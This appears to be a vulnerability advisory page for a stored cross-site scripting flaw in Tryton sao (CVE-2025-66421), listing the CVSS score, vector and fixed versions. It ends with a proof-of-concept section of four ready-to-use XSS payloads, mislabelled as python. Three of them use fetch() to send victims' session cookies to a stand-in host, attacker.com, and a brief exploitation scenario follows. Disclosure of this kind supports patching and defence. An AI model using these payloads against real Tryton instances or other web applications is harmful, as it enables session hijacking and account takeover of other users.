Tryton sao (aka tryton-sao) before 7.6.11 allows XSS because it does not escape completion values. This is fixed in 7.6.11, 7.4.21, 7.0.40, and 6.0.69.
CVSS Details
CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
Configurations (Affected Products)
No configuration data available.
Tryton sao < 6.0.69
Tryton sao < 7.0.40
Tryton sao < 7.4.21
Tryton sao < 7.6.11
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- Stored XSS PoC for CVE-2025-66421 -->
<!-- Tryton sao completion field XSS -->
<!-- Method 1: Using script tag -->
<script>alert(document.cookie)</script>
<!-- Method 2: Using event handler -->
<img src=x onerror="fetch('https://attacker.com/steal?c='+document.cookie)">
<!-- Method 3: Using SVG -->
<svg onload="fetch('https://attacker.com/log?data='+btoa(document.cookie))">
<!-- Method 4: Using anchor with javascript: -->
<a href="javascript:fetch('https://attacker.com/exec?cmd='+document.cookie)">Click me</a>
<!-- Exploitation scenario: -->
<!-- 1. Attacker submits malicious payload in any field that uses completion -->
<!-- 2. Payload is stored in Tryton database -->
<!-- 3. When other users trigger completion, payload executes in their browser -->